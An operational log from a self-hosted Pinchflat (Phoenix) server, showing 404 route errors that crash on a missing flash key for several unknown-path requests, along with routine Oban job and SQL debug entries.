~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/antibot-client.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/antibot-client (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/antibot-client.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3677.0>, params: %{}, path_info: ["js", "antibot-client"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], (truncated) 02:30:48.026 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.501 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:31:01.660 [info] GET /static/style/sys_files/index.js 02:31:01.661 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1936.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:31:01.662 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1937.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:31:01.662 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:31:01.663 [error] #PID<0.3683.0> running PinchflatWeb.Endpoint (connection #PID<0.3681.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /static/style/sys_files/index.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/sys_files/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3681.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/sys_files/index.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42398}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3683.0>, params: %{}, path_info: ["static", "style", "sys_files", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/static/style/sys_files/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmDFDeNJRPTbwAAVqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3681.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/sys_files/index.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42398}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/sys_files/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3681.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/sys_files/index.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42398}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3683.0>, params: %{}, path_info: ["static", "style", "sys_files", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session. (truncated) 02:31:18.028 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:48.029 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.502 [info] {"source":"oban","duration":224,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:32:18.031 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:48.033 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.503 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:33:18.035 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:48.036 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.504 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:34:18.038 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:48.040 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.504 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:35:18.042 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:48.043 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.506 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:36:18.044 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:48.045 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.507 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:37:18.047 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:48.049 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.508 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:38:18.050 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:48.052 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.509 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:39:18.054 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:48.055 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.510 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:40:18.056 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:48.057 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.511 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:41:18.058 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:48.059 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.513 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:42:18.061 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:48.063 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.514 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:43:18.065 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:48.066 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.515 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:44:18.067 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:48.068 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.516 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:45:18.069 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:48.070 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.517 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:46:18.071 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:48.073 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.518 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:47:18.074 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:48.076 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.519 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:48:18.077 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:48.079 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.520 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:49:18.080 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:48.081 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.521 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:50:16.482 [info] GET /_rNd9xZ7kL3 02:50:16.482 [debug] QUERY OK source="settings" db=0.2ms idle=756.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:16.482 [debug] QUERY OK source="settings" db=0.0ms idle=756.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:16.482 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:16.483 [error] #PID<0.3695.0> running PinchflatWeb.Endpoint (connection #PID<0.3694.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /_rNd9xZ7kL3 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_rNd9xZ7kL3 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_rNd9xZ7kL3", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fd5a5844dd06-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "hqeb5c366ee3eehm.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3695.0>, params: %{}, path_info: ["_rNd9xZ7kL3"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fd5a5844dd06-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "hqeb5c366ee3eehm.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "104.22.24.77"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/_rNd9xZ7kL3", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnGTGYR9SX48EAAVrB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_rNd9xZ7kL3", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fd5a5844dd06-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "hqeb5c366ee3eehm.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_rNd9xZ7kL3 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_rNd9xZ7kL3", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fd5a5844dd06-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "hqeb5c366ee3eehm.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 02:50:18.082 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:18.999 [info] GET / 02:50:18.999 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 02:50:19.000 [debug] QUERY OK source="settings" db=0.2ms idle=1274.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:19.000 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1274.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 02:50:19.000 [debug] QUERY OK source="sources" db=0.0ms idle=1274.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 02:50:19.001 [debug] QUERY OK source="media_items" db=0.1ms idle=984.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:50:19.001 [debug] QUERY OK source="media_items" db=0.0ms idle=918.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:50:19.001 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:19.001 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:19.001 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:19.002 [debug] QUERY OK source="tasks" db=0.2ms idle=1.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM 